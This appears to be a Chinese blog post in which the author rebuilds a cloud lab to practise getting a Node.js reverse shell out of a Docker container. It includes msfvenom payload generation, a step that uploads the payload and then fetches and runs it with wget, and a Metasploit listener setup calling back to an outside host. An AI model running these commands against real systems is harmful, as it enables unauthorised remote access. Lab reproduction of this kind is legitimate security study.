### 前言
这篇文章是我遇到的1种新环境(云上)的渗透,后来听团队大佬大概讲了一下操作(node.js 反弹shell),作为菜鸡的我一向很自觉,学技术自然得"趁热打铁",于是下班回来把环境大概模拟出来,复现了一波。
注:实际情况是shell在容器内可以用node.js反弹出shell,但是很不稳定,大概20s左右就掉了,,,现在等大佬们的操作了🙈。
### 环境搭建
-
step 1
-
准备两台服务器
-
step 2:
-
1台安装docker,dokcer安装node.js
-
step 3:
-
1台安装msf
获取云服务器(腾讯云,Ubuntu)
氪金
氪金
ubuntu安装Docker
# 卸载旧版docker
sudo apt-get remove docker docker-engine docker.io
# 更新系统软件
sudo apt-get update
# 安装依赖包
sudo apt-get install
apt-transport-https
ca-certificates
curl
gnupg-agent
software-properties-common
# 添加官方密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 再次更新系统软件
sudo apt-get update
# 使用脚本自动安装docker
curl -fsSL get.docker.com -o get-docker.sh
sudo sh get-docker.sh --mirror Aliyun
# 查看docker安装的版本
docker -v
dokcer安装node.js
# 命令来查看可用版本
docker search node
# 查看是否已安装了 node
docker images
# 拉取官方的最新版本的镜像
docker pull node:latest
# 运行 node 容器(--name:容器名称)
docker run -itd --name shell_from_node node
# 进入容器并查看 node 版本
docker exec -it shell_from_node /bin/bash
node -v
到这里,环境搭建完毕。
### 复现
姿势1 lambda Node.js 反弹shell
首先安装vim(编辑shell.js)
apt-get update
apt-get install
shell.js源码如下:
编辑完保存为shell.js, 然后直接在目标机器上执行即可
node shell.js
(图1)
(图2)
如图所示,成功反弹shell。
姿势2 msf+node.js 反弹shell
安装msf
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
注:踩坑如下:
Failed to connect to raw.githubusercontent.com
port 443: Connection refused
解决方式:
sudo vi /etc/hosts
# 在hosts中添加
199.232.28.133raw.githubusercontent.com
# 即可
msf安装成功:
msf 生成payload (node.js)
msfvenom -p nodejs/shell_reverse_tcp LHOST=1.1.1.1 LPORT=8889 -f raw > msf_shell.js
上传到bashupload
curl https://bashupload.com/msf_shell.js --data-binary @msf_shell.js
然后直接在目标容器下载该payload并执行:
wget https://bashupload.com/56yrL/msf_shell.js
node msf_shell.js
在vps上设置msf监听
use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
set lhost 1.1.1.1
set lport 8889
exploit
如图,成功反弹shell。
参考:
https://tonghuaroot.com/
本文始发于微信公众号(don9sec):容器(docker) + node.js反弹shell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论